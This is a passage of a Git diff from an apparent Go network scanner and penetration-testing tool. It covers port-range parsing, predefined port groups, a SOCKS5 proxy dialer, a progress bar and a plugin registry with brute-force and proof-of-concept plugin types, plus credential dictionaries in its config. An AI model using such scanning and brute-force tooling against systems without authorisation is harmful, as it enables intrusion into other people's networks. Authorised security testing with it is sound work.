return ipList, nil
}
// excludeHosts 从主机列表中排除指定的主机
// 参数:
// - hosts: 原始主机列表
// - nohosts: 需要排除的主机列表(可选)
//
// 返回:
// - []string: 排除后的主机列表
func excludeHosts(hosts []string, nohosts []string) []string {
// 如果没有需要排除的主机,直接返回原列表
if len(nohosts) == 0 || nohosts[0] == "" {
return hosts
}
// 解析排除列表
excludeList := parseIPList(nohosts[0])
if len(excludeList) == 0 {
return hosts
}
// 使用map存储有效主机提高查找效率
hostMap := make(map[string]struct{}, len(hosts))
for _, host := range hosts {
hostMap[host] = struct{}{}
}
// 从map中删除需要排除的主机
for _, host := range excludeList {
delete(hostMap, host)
}
// 重建主机列表
result := make([]string, 0, len(hostMap))
for host := range hostMap {
result = append(result, host)
}
// 排序以保持结果的稳定性
sort.Strings(result)
LogBase(GetText("hosts_excluded", len(excludeList)))
return result
}
// removeDuplicateIPs 去除重复的IP地址
// 参数:
// - ips: 包含可能重复项的IP地址列表
//
// 返回:
// - []string: 去重后的IP地址列表
func removeDuplicateIPs(ips []string) []string {
// 使用map去重
ipMap := make(map[string]struct{}, len(ips))
for _, ip := range ips {
ipMap[ip] = struct{}{}
}
// 创建结果切片并添加唯一的IP
result := make([]string, 0, len(ipMap))
for ip := range ipMap {
result = append(result, ip)
}
// 排序以保持结果的稳定性
sort.Strings(result)
return result
}
// randomInt 生成指定范围内的随机整数
// 参数:
// - min: 最小值(包含)
// - max: 最大值(包含)
//
// 返回:
// - int: 生成的随机数
func randomInt(min, max int) int {
if min >= max || min < 0 || max <= 0 {
return max
}
return rand.Intn(max-min+1) + min
}

93
Common/ParsePort.go Normal file
View File

@ -0,0 +1,93 @@
package Common
import (
"sort"
"strconv"
"strings"
)
// ParsePort 解析端口配置字符串为端口号列表
func ParsePort(ports string) []int {
// 预定义的端口组
portGroups := map[string]string{
"service": ServicePorts,
"db": DbPorts,
"web": WebPorts,
"all": AllPorts,
"main": MainPorts,
}
// 检查是否匹配预定义组
if definedPorts, exists := portGroups[ports]; exists {
ports = definedPorts
}
if ports == "" {
return nil
}
var scanPorts []int
slices := strings.Split(ports, ",")
// 处理每个端口配置
for _, port := range slices {
port = strings.TrimSpace(port)
if port == "" {
continue
}
// 处理端口范围
upper := port
if strings.Contains(port, "-") {
ranges := strings.Split(port, "-")
if len(ranges) < 2 {
LogError(GetText("port_range_format_error", port))
continue
}
// 确保起始端口小于结束端口
startPort, _ := strconv.Atoi(ranges[0])
endPort, _ := strconv.Atoi(ranges[1])
if startPort < endPort {
port = ranges[0]
upper = ranges[1]
} else {
port = ranges[1]
upper = ranges[0]
}
}
// 生成端口列表
start, _ := strconv.Atoi(port)
end, _ := strconv.Atoi(upper)
for i := start; i <= end; i++ {
if i > 65535 || i < 1 {
LogError(GetText("ignore_invalid_port", i))
continue
}
scanPorts = append(scanPorts, i)
}
}
// 去重并排序
scanPorts = removeDuplicate(scanPorts)
sort.Ints(scanPorts)
LogBase(GetText("valid_port_count", len(scanPorts)))
return scanPorts
}
// removeDuplicate 对整数切片进行去重
func removeDuplicate(old []int) []int {
temp := make(map[int]struct{})
var result []int
for _, item := range old {
if _, exists := temp[item]; !exists {
temp[item] = struct{}{}
result = append(result, item)
}
}
return result
}

View File

@ -1,15 +1,23 @@
package common
package Common
import "github.com/shadow1ng/fscan/common/base"
/*
Ports.go - 端口常量向后兼容层
此文件保持向后兼容实际常量定义已迁移到Core/Constants.go
*/
// 向后兼容的端口常量 - 引用Core包中的定义
var (
WebPorts = base.WebPorts // Web服务端口组
MainPorts = base.MainPorts // 主要服务端口组
import (
"strconv"
"strings"
)
var ServicePorts = "21,22,23,25,110,135,139,143,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616"
var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
var AllPorts = "1-65535"
var MainPorts = "21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616"
func ParsePortsFromString(portsStr string) []int {
var ports []int
portStrings := strings.Split(portsStr, ",")
for _, portStr := range portStrings {
if port, err := strconv.Atoi(portStr); err == nil {
ports = append(ports, port)
}
}
return ports
}

View File

@ -1,329 +0,0 @@
package common
import (
"fmt"
"os"
"sync"
"time"
"github.com/shadow1ng/fscan/common/i18n"
)
/*
ProgressManager.go - 固定底部进度条管理器
提供固定在终端底部的进度条显示与正常输出内容分离
使用终端控制码实现位置固定和内容保护
*/
// ProgressManager 进度条管理器
type ProgressManager struct {
mu sync.RWMutex
enabled bool
total int64
current int64
description string
startTime time.Time
isActive bool
terminalHeight int
reservedLines int // 为进度条保留的行数
lastContentLine int // 最后一行内容的位置
// 输出缓冲相关
outputMutex sync.Mutex
}
var (
globalProgressManager *ProgressManager
progressMutex sync.Mutex
)
// GetProgressManager 获取全局进度条管理器
func GetProgressManager() *ProgressManager {
progressMutex.Lock()
defer progressMutex.Unlock()
if globalProgressManager == nil {
globalProgressManager = &ProgressManager{
enabled: true,
reservedLines: 2, // 保留2行进度条 + 空行
terminalHeight: getTerminalHeight(),
}
}
return globalProgressManager
}
// InitProgress 初始化进度条
func (pm *ProgressManager) InitProgress(total int64, description string) {
if !ShowProgress || Silent {
pm.enabled = false
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.total = total
pm.current = 0
pm.description = description
pm.startTime = time.Now()
pm.isActive = true
pm.enabled = true
// 为进度条保留空间
pm.setupProgressSpace()
// 初始显示进度条
pm.renderProgress()
}
// UpdateProgress 更新进度
func (pm *ProgressManager) UpdateProgress(increment int64) {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current += increment
if pm.current > pm.total {
pm.current = pm.total
}
pm.renderProgress()
}
// =============================================================================================
// 已删除的死代码未使用SetProgress 设置当前进度
// =============================================================================================
// FinishProgress 完成进度条
func (pm *ProgressManager) FinishProgress() {
if !pm.enabled || !pm.isActive {
return
}
pm.mu.Lock()
defer pm.mu.Unlock()
pm.current = pm.total
pm.renderProgress()
// 显示完成信息
pm.showCompletionInfo()
// 清理进度条区域,恢复正常输出
pm.clearProgressArea()
pm.isActive = false
}
// setupProgressSpace 设置进度条空间
func (pm *ProgressManager) setupProgressSpace() {
// 简化设计:进度条在原地更新,不需要预留额外空间
// 只是标记进度条开始的位置
pm.lastContentLine = 0
}
// =============================================================================================
// 已删除的死代码未使用moveToContentArea 和 moveToProgressLine 方法
// =============================================================================================
// renderProgress 渲染进度条(使用锁避免输出冲突)
func (pm *ProgressManager) renderProgress() {
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
pm.renderProgressUnsafe()
}
// generateProgressBar 生成进度条字符串
func (pm *ProgressManager) generateProgressBar() string {
if pm.total == 0 {
return fmt.Sprintf("%s: 等待中...", pm.description)
}
percentage := float64(pm.current) / float64(pm.total) * 100
elapsed := time.Since(pm.startTime)
// 获取并发状态
concurrencyStatus := GetConcurrencyMonitor().GetConcurrencyStatus()
// 计算预估剩余时间
var eta string
if pm.current > 0 {
totalTime := elapsed * time.Duration(pm.total) / time.Duration(pm.current)
remaining := totalTime - elapsed
if remaining > 0 {
eta = fmt.Sprintf(" ETA:%s", formatDuration(remaining))
}
}
// 计算速度
speed := float64(pm.current) / elapsed.Seconds()
speedStr := ""
if speed > 0 {
speedStr = fmt.Sprintf(" (%.1f/s)", speed)
}
// 生成进度条
barWidth := 30
filled := int(percentage * float64(barWidth) / 100)
bar := ""
if NoColor {
// 无颜色版本
bar = "[" +
fmt.Sprintf("%s%s",
string(make([]rune, filled)),
string(make([]rune, barWidth-filled))) +
"]"
for i := 0; i < filled; i++ {
bar = bar[:i+1] + "=" + bar[i+2:]
}
for i := filled; i < barWidth; i++ {
bar = bar[:i+1] + "-" + bar[i+2:]
}
} else {
// 彩色版本
bar = "|"
for i := 0; i < barWidth; i++ {
if i < filled {
bar += "#"
} else {
bar += "."
}
}
bar += "|"
}
// 构建基础进度条
baseProgress := fmt.Sprintf("%s %6.1f%% %s (%d/%d)%s%s",
pm.description, percentage, bar, pm.current, pm.total, speedStr, eta)
// 添加并发状态
if concurrencyStatus != "" {
return fmt.Sprintf("%s [%s]", baseProgress, concurrencyStatus)
}
return baseProgress
}
// showCompletionInfo 显示完成信息
func (pm *ProgressManager) showCompletionInfo() {
elapsed := time.Since(pm.startTime)
// 换行并显示完成信息
fmt.Print("\n")
completionMsg := i18n.GetText("progress_scan_completed")
if NoColor {
fmt.Printf("[完成] %s %d/%d (耗时: %s)\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
} else {
fmt.Printf("\033[32m[完成] %s %d/%d\033[0m \033[90m(耗时: %s)\033[0m\n",
completionMsg, pm.total, pm.total, formatDuration(elapsed))
}
}
// clearProgressArea 清理进度条区域
func (pm *ProgressManager) clearProgressArea() {
// 简单清除当前行
fmt.Print("\033[2K\r")
}
// IsActive 检查进度条是否活跃
func (pm *ProgressManager) IsActive() bool {
pm.mu.RLock()
defer pm.mu.RUnlock()
return pm.isActive && pm.enabled
}
// getTerminalHeight 获取终端高度
func getTerminalHeight() int {
// 对于固定底部进度条,我们暂时禁用终端高度检测
// 因为在不同终端环境中可能会有问题
// 改为使用相对定位方式
return 0 // 返回0表示使用简化模式
}
// formatDuration 格式化时间间隔
func formatDuration(d time.Duration) string {
if d < time.Minute {
return fmt.Sprintf("%.1fs", d.Seconds())
} else if d < time.Hour {
return fmt.Sprintf("%.1fm", d.Minutes())
} else {
return fmt.Sprintf("%.1fh", d.Hours())
}
}
// 全局函数,方便其他模块调用
func InitProgressBar(total int64, description string) {
GetProgressManager().InitProgress(total, description)
}
func UpdateProgressBar(increment int64) {
GetProgressManager().UpdateProgress(increment)
}
// =============================================================================================
// 已删除的死代码未使用SetProgressBar 全局函数
// =============================================================================================
func FinishProgressBar() {
GetProgressManager().FinishProgress()
}
func IsProgressActive() bool {
return GetProgressManager().IsActive()
}
// =============================================================================
// 日志输出协调功能
// =============================================================================
// LogWithProgress 在进度条活跃时协调日志输出
func LogWithProgress(message string) {
pm := GetProgressManager()
if !pm.IsActive() {
// 如果进度条不活跃,直接输出
fmt.Println(message)
return
}
pm.outputMutex.Lock()
defer pm.outputMutex.Unlock()
// 清除当前行(清除进度条)
fmt.Print("\033[2K\r")
// 输出日志消息
fmt.Println(message)
// 重绘进度条
pm.renderProgressUnsafe()
}
// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
func (pm *ProgressManager) renderProgressUnsafe() {
if !pm.enabled || !pm.isActive {
return
}
// 移动到行首并清除当前行
fmt.Print("\033[2K\r")
// 生成进度条内容
progressBar := pm.generateProgressBar()
// 输出进度条(带颜色,如果启用)
if NoColor {
fmt.Print(progressBar)
} else {
fmt.Printf("\033[36m%s\033[0m", progressBar) // 青色
}
// 刷新输出
os.Stdout.Sync()
}

78
Common/Proxy.go Normal file
View File

@ -0,0 +1,78 @@
package Common
import (
"errors"
"fmt"
"golang.org/x/net/proxy"
"net"
"net/url"
"strings"
"time"
)
// WrapperTcpWithTimeout 创建一个带超时的TCP连接
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
d := &net.Dialer{Timeout: timeout}
return WrapperTCP(network, address, d)
}
// WrapperTCP 根据配置创建TCP连接
func WrapperTCP(network, address string, forward *net.Dialer) (net.Conn, error) {
// 直连模式
if Socks5Proxy == "" {
conn, err := forward.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("tcp_conn_failed"), err)
}
return conn, nil
}
// Socks5代理模式
dialer, err := Socks5Dialer(forward)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
conn, err := dialer.Dial(network, address)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_conn_failed"), err)
}
return conn, nil
}
// Socks5Dialer 创建Socks5代理拨号器
func Socks5Dialer(forward *net.Dialer) (proxy.Dialer, error) {
// 解析代理URL
u, err := url.Parse(Socks5Proxy)
if err != nil {
return nil, fmt.Errorf(GetText("socks5_parse_failed"), err)
}
// 验证代理类型
if strings.ToLower(u.Scheme) != "socks5" {
return nil, errors.New(GetText("socks5_only"))
}
address := u.Host
var dialer proxy.Dialer
// 根据认证信息创建代理
if u.User.String() != "" {
// 使用用户名密码认证
auth := proxy.Auth{
User: u.User.Username(),
}
auth.Password, _ = u.User.Password()
dialer, err = proxy.SOCKS5("tcp", address, &auth, forward)
} else {
// 无认证模式
dialer, err = proxy.SOCKS5("tcp", address, nil, forward)
}
if err != nil {
return nil, fmt.Errorf(GetText("socks5_create_failed"), err)
}
return dialer, nil
}

59
Common/Types.go Normal file
View File

@ -0,0 +1,59 @@
// Config/types.go
package Common
type HostInfo struct {
Host string
Ports string
Url string
Infostr []string
}
// 在 Common/const.go 中添加
// 插件类型常量
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
)
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
ScanFunc func(*HostInfo) error // 扫描函数
}
// 添加一个用于检查插件类型的辅助方法
func (p ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// PluginManager 管理插件注册
var PluginManager = make(map[string]ScanPlugin)
// RegisterPlugin 注册插件
func RegisterPlugin(name string, plugin ScanPlugin) {
PluginManager[name] = plugin
}

View File

@ -1,37 +0,0 @@
package base
/*
Constants.go - 核心常量定义
整合Ports.go等常量文件统一管理所有核心常量
*/
// =============================================================================
// 端口常量 (从Ports.go迁移)
// =============================================================================
// 预定义端口组常量
var (
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
MainPorts = "21,22,23,25,80,81,110,135,139,143,161,389,443,445,465,502,587,636,873,993,995,1433,1434,1521,1522,1525,2121,2200,2222,3000,3268,3269,3306,3389,5432,5672,5900,6379,7474,7687,8000,8080,8081,8088,8443,8888,9000,9042,9080,9092,9200,9300,11211,15672,22222,27017,61613,61614"
)
// =============================================================================
// 扫描模式常量
// =============================================================================
const (
ScanModeAll = "all" // 全扫描模式
)
// =============================================================================
// 默认配置常量
// =============================================================================
const (
DefaultThreadNum = 600 // 默认线程数
DefaultTimeout = 3 // 默认超时时间(秒)
DefaultScanMode = ScanModeAll // 默认扫描模式
DefaultLanguage = "zh" // 默认语言
DefaultLogLevel = "base" // 默认日志级别
)

View File

@ -1,85 +0,0 @@
package base
import (
"sync"
"github.com/shadow1ng/fscan/common/config"
)
// =============================================================================
// 全局配置变量
// =============================================================================
var (
// 核心扫描配置
ScanMode string // 扫描模式
ThreadNum int // 线程数
Timeout int64 // 超时时间
DisablePing bool // 禁用ping
LocalMode bool // 本地模式
LocalPlugin string // 本地插件选择
// 基础认证配置
Username string // 用户名
Password string // 密码
Userdict map[string][]string // 用户字典
Passwords []string // 密码列表
// 网络配置
HttpProxy string // HTTP代理
Socks5Proxy string // SOCKS5代理
// 显示控制
NoColor bool // 禁用颜色
Language string // 语言
LogLevel string // 日志级别
// 端口映射
PortMap map[int][]string // 端口映射
DefaultMap []string // 默认映射
// 初始化锁
initOnce sync.Once
)
// =============================================================================
// 简化的初始化函数
// =============================================================================
// InitGlobalConfig 初始化全局配置
func InitGlobalConfig() {
initOnce.Do(func() {
// 设置默认值
ScanMode = DefaultScanMode
ThreadNum = DefaultThreadNum
Timeout = DefaultTimeout
LogLevel = DefaultLogLevel
Language = DefaultLanguage
// 初始化映射和切片
Userdict = make(map[string][]string)
PortMap = make(map[int][]string)
DefaultMap = make([]string, 0)
// 从config模块获取字典和映射
if serviceDict := config.GetGlobalServiceDict(); serviceDict != nil {
Userdict = serviceDict.GetAllUserDicts()
Passwords = serviceDict.GetPasswords()
}
if probeMapping := config.GetGlobalProbeMapping(); probeMapping != nil {
PortMap = probeMapping.GetAllPortMappings()
DefaultMap = probeMapping.GetDefaultProbes()
}
})
}
// =============================================================================
// 访问器函数已移除(未使用的死代码)
// 直接使用全局变量进行访问
// =============================================================================
// init 自动初始化
func init() {
InitGlobalConfig()
}

View File

@ -1,262 +0,0 @@
package base
import (
"fmt"
"sync"
)
/*
Plugin.go - 插件系统管理
整合Types.go中的插件系统提供统一的插件注册和管理机制
*/
// =============================================================================
// 核心数据结构 (从Types.go迁移)
// =============================================================================
// HostInfo 主机信息结构
type HostInfo struct {
Host string // 主机地址
Ports string // 端口范围
Url string // URL地址
Infostr []string // 附加信息
}
// =============================================================================
// 插件类型常量
// =============================================================================
const (
PluginTypeService = "service" // 服务类型插件
PluginTypeWeb = "web" // Web类型插件
PluginTypeLocal = "local" // 本地类型插件
PluginTypeBrute = "brute" // 暴力破解插件
PluginTypePoc = "poc" // POC验证插件
PluginTypeScan = "scan" // 扫描探测插件
)
// =============================================================================
// 插件定义和管理
// =============================================================================
// ScanPlugin 定义扫描插件的结构
type ScanPlugin struct {
Name string // 插件名称
Version string // 插件版本
Description string // 插件描述
Author string // 插件作者
Ports []int // 适用端口
Types []string // 插件类型标签,一个插件可以有多个类型
Priority int // 插件优先级(数字越小优先级越高)
Enabled bool // 是否启用
ScanFunc func(*HostInfo) error // 扫描函数
}
// PluginManager 插件管理器
type PluginManager struct {
mu sync.RWMutex
plugins map[string]*ScanPlugin
types map[string][]*ScanPlugin // 按类型索引的插件
ports map[int][]*ScanPlugin // 按端口索引的插件
}
// 全局插件管理器实例
var globalPluginManager = NewPluginManager()
// NewPluginManager 创建新的插件管理器
func NewPluginManager() *PluginManager {
return &PluginManager{
plugins: make(map[string]*ScanPlugin),
types: make(map[string][]*ScanPlugin),
ports: make(map[int][]*ScanPlugin),
}
}
// =============================================================================
// 插件基础方法
// =============================================================================
// HasType 检查插件是否具有指定类型
func (p *ScanPlugin) HasType(typeName string) bool {
for _, t := range p.Types {
if t == typeName {
return true
}
}
return false
}
// HasPort 检查插件是否支持指定端口
func (p *ScanPlugin) HasPort(port int) bool {
// 如果没有指定端口列表,表示支持所有端口
if len(p.Ports) == 0 {
return true
}
// 检查端口是否在支持列表中
for _, supportedPort := range p.Ports {
if port == supportedPort {
return true
}
}
return false
}
// IsEnabled 检查插件是否启用
func (p *ScanPlugin) IsEnabled() bool {
return p.Enabled
}
// GetInfo 获取插件基本信息
func (p *ScanPlugin) GetInfo() map[string]interface{} {
return map[string]interface{}{
"name": p.Name,
"version": p.Version,
"description": p.Description,
"author": p.Author,
"types": p.Types,
"ports": p.Ports,
"priority": p.Priority,
"enabled": p.Enabled,
}
}
// =============================================================================
// 插件管理器方法
// =============================================================================
// RegisterPlugin 注册插件
func (pm *PluginManager) RegisterPlugin(plugin *ScanPlugin) error {
if plugin == nil {
return fmt.Errorf("plugin cannot be nil")
}
if plugin.Name == "" {
return fmt.Errorf("plugin name cannot be empty")
}
if plugin.ScanFunc == nil {
return fmt.Errorf("plugin scan function cannot be nil")
}
pm.mu.Lock()
defer pm.mu.Unlock()
// 检查插件是否已存在
if _, exists := pm.plugins[plugin.Name]; exists {
return fmt.Errorf("plugin %s already registered", plugin.Name)
}
// 注册插件
pm.plugins[plugin.Name] = plugin
// 按类型索引
for _, pluginType := range plugin.Types {
pm.types[pluginType] = append(pm.types[pluginType], plugin)
}
// 按端口索引
for _, port := range plugin.Ports {
pm.ports[port] = append(pm.ports[port], plugin)
}
return nil
}
// ========================================================================================
// 未使用的插件管理器方法已删除(死代码清理)
// 包括GetPlugin, GetPluginsByType, GetPluginsByPort, GetAllPlugins,
// EnablePlugin, DisablePlugin, UnregisterPlugin, GetPluginCount, GetEnabledPluginCount
// ========================================================================================
// =============================================================================
// 全局插件管理函数 (保持向后兼容)
// =============================================================================
// RegisterPlugin 注册插件到全局管理器
func RegisterPlugin(name string, plugin ScanPlugin) error {
// 转换为新的插件结构
newPlugin := &ScanPlugin{
Name: name,
Ports: plugin.Ports,
Types: plugin.Types,
Enabled: true,
ScanFunc: plugin.ScanFunc,
}
// 注册到新的插件管理器
err := globalPluginManager.RegisterPlugin(newPlugin)
if err != nil {
return err
}
// 同时更新Legacy管理器以保持向后兼容
LegacyPluginManager[name] = plugin
return nil
}
// Clear 清理所有插件(防止内存泄漏)
func (pm *PluginManager) Clear() {
pm.mu.Lock()
defer pm.mu.Unlock()
// 清理插件实例
for name, plugin := range pm.plugins {
// ScanPlugin结构不包含Cleanup方法直接删除即可
_ = plugin // 避免未使用变量警告
delete(pm.plugins, name)
}
// 清理索引
for typeKey := range pm.types {
delete(pm.types, typeKey)
}
for portKey := range pm.ports {
delete(pm.ports, portKey)
}
// 清理Legacy管理器
for k := range LegacyPluginManager {
delete(LegacyPluginManager, k)
}
}
// ClearPluginsByType 清理指定类型的插件
func (pm *PluginManager) ClearPluginsByType(pluginType string) {
pm.mu.Lock()
defer pm.mu.Unlock()
plugins := pm.types[pluginType]
for _, plugin := range plugins {
// ScanPlugin结构不包含Cleanup方法直接删除即可
delete(pm.plugins, plugin.Name)
}
delete(pm.types, pluginType)
// 同步清理端口索引
for port, portPlugins := range pm.ports {
filtered := make([]*ScanPlugin, 0)
for _, plugin := range portPlugins {
found := false
for _, typePlugin := range plugins {
if plugin == typePlugin {
found = true
break
}
}
if !found {
filtered = append(filtered, plugin)
}
}
if len(filtered) == 0 {
delete(pm.ports, port)
} else {
pm.ports[port] = filtered
}
}
}
// GetGlobalPluginManager 方法已删除(死代码清理)
// 向后兼容的全局变量 (已废弃建议使用PluginManager)
var LegacyPluginManager = make(map[string]ScanPlugin)

View File

@ -1,199 +0,0 @@
package common
/*
common.go - 简化的统一入口
移除所有向后兼容层提供清晰的模块化接口
直接导出各子模块的核心功能避免代码债务
*/
import (
"context"
"crypto/tls"
"fmt"
"net"
"sync"
"time"
"github.com/shadow1ng/fscan/common/base"
"github.com/shadow1ng/fscan/common/logging"
"github.com/shadow1ng/fscan/common/output"
)
// =============================================================================
// 核心类型导出 - 直接从core模块导出
// =============================================================================
type HostInfo = base.HostInfo
type ScanPlugin = base.ScanPlugin
// 插件类型常量
const (
PluginTypeService = base.PluginTypeService
PluginTypeWeb = base.PluginTypeWeb
PluginTypeLocal = base.PluginTypeLocal
PluginTypeBrute = base.PluginTypeBrute
PluginTypePoc = base.PluginTypePoc
PluginTypeScan = base.PluginTypeScan
)
// 全局插件管理器
var PluginManager = base.LegacyPluginManager
// =============================================================================
// 核心功能导出 - 直接调用对应模块
// =============================================================================
// 插件系统
func RegisterPlugin(name string, plugin ScanPlugin) {
if err := base.RegisterPlugin(name, plugin); err != nil {
LogError("Failed to register plugin " + name + ": " + err.Error())
}
}
// GetGlobalPluginManager 函数已删除(死代码清理)
// =============================================================================
// 日志系统简化接口
// =============================================================================
var globalLogger *logging.Logger
var loggerMutex sync.Mutex
func getGlobalLogger() *logging.Logger {
loggerMutex.Lock()
defer loggerMutex.Unlock()
if globalLogger == nil {
level := getLogLevelFromString(LogLevel)
config := &logging.LoggerConfig{
Level: level,
EnableColor: !NoColor,
SlowOutput: false,
ShowProgress: ShowProgress,
StartTime: StartTime,
}
globalLogger = logging.NewLogger(config)
if ProgressBar != nil {
globalLogger.SetProgressBar(ProgressBar)
}
globalLogger.SetOutputMutex(&OutputMutex)
// 设置协调输出函数使用LogWithProgress
globalLogger.SetCoordinatedOutput(LogWithProgress)
}
return globalLogger
}
func getLogLevelFromString(levelStr string) logging.LogLevel {
switch levelStr {
case "all", "ALL":
return logging.LevelAll
case "error", "ERROR":
return logging.LevelError
case "base", "BASE":
return logging.LevelBase
case "info", "INFO":
return logging.LevelInfo
case "success", "SUCCESS":
return logging.LevelSuccess
case "debug", "DEBUG":
return logging.LevelDebug
case "info,success":
return logging.LevelInfoSuccess
case "base,info,success", "BASE_INFO_SUCCESS":
return logging.LevelBaseInfoSuccess
default:
return logging.LevelInfoSuccess
}
}
// 日志函数
func InitLogger() {
loggerMutex.Lock()
globalLogger = nil
loggerMutex.Unlock()
getGlobalLogger().Initialize()
}
func LogDebug(msg string) { getGlobalLogger().Debug(msg) }
func LogBase(msg string) { getGlobalLogger().Base(msg) }
func LogInfo(msg string) { getGlobalLogger().Info(msg) }
func LogSuccess(result string) { getGlobalLogger().Success(result) }
func LogError(errMsg string) { getGlobalLogger().Error(errMsg) }
// =============================================================================
// 输出系统简化接口
// =============================================================================
var ResultOutput *output.Manager
func InitOutput() error {
if Outputfile == "" {
return fmt.Errorf("output file not specified")
}
var format output.OutputFormat
switch OutputFormat {
case "txt":
format = output.FormatTXT
case "json":
format = output.FormatJSON
case "csv":
format = output.FormatCSV
default:
return fmt.Errorf("invalid output format: %s", OutputFormat)
}
config := output.DefaultManagerConfig(Outputfile, format)
manager, err := output.NewManager(config)
if err != nil {
return err
}
ResultOutput = manager
return nil
}
func CloseOutput() error {
if ResultOutput == nil {
return nil
}
return ResultOutput.Close()
}
func SaveResult(result *output.ScanResult) error {
if ResultOutput == nil {
return fmt.Errorf("output not initialized")
}
return ResultOutput.SaveResult(result)
}
// =============================================================================
// 网络连接辅助函数
// =============================================================================
// WrapperTcpWithTimeout TCP连接包装器带超时
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
return net.DialTimeout(network, address, timeout)
}
// WrapperTcpWithContext TCP连接包装器带上下文
func WrapperTcpWithContext(ctx context.Context, network, address string) (net.Conn, error) {
var d net.Dialer
return d.DialContext(ctx, network, address)
}
// WrapperTlsWithContext TLS连接包装器带上下文
func WrapperTlsWithContext(ctx context.Context, network, address string, config *tls.Config) (net.Conn, error) {
d := &tls.Dialer{Config: config}
return d.DialContext(ctx, network, address)
}
// =============================================================================
// 错误处理辅助函数
// =============================================================================
// CheckErrs 检查单个错误 - 简化版本
func CheckErrs(err error) error {
return err
}

View File

@ -1,81 +0,0 @@
package config
import (
"sync"
)
// ProbeMapping 探测器映射管理器
type ProbeMapping struct {
mu sync.RWMutex
defaultMap []string
portMap map[int][]string
initialized bool
}
// NewProbeMapping 创建探测器映射管理器
func NewProbeMapping() *ProbeMapping {
return &ProbeMapping{
defaultMap: getDefaultProbeMap(),
portMap: getDefaultPortMap(),
initialized: true,
}
}
// getDefaultProbeMap 获取默认的探测器顺序
func getDefaultProbeMap() []string {
// 返回常量的副本
result := make([]string, len(DefaultProbeMap))
copy(result, DefaultProbeMap)
return result
}
// getDefaultPortMap 获取默认的端口映射
func getDefaultPortMap() map[int][]string {
// 返回常量的深拷贝
result := make(map[int][]string)
for port, probes := range DefaultPortMap {
probesCopy := make([]string, len(probes))
copy(probesCopy, probes)
result[port] = probesCopy
}
return result
}
// GetDefaultProbes 获取默认探测器列表
func (pm *ProbeMapping) GetDefaultProbes() []string {
pm.mu.RLock()
defer pm.mu.RUnlock()
result := make([]string, len(pm.defaultMap))
copy(result, pm.defaultMap)
return result
}
// GetAllPortMappings 获取所有端口映射
func (pm *ProbeMapping) GetAllPortMappings() map[int][]string {
pm.mu.RLock()
defer pm.mu.RUnlock()
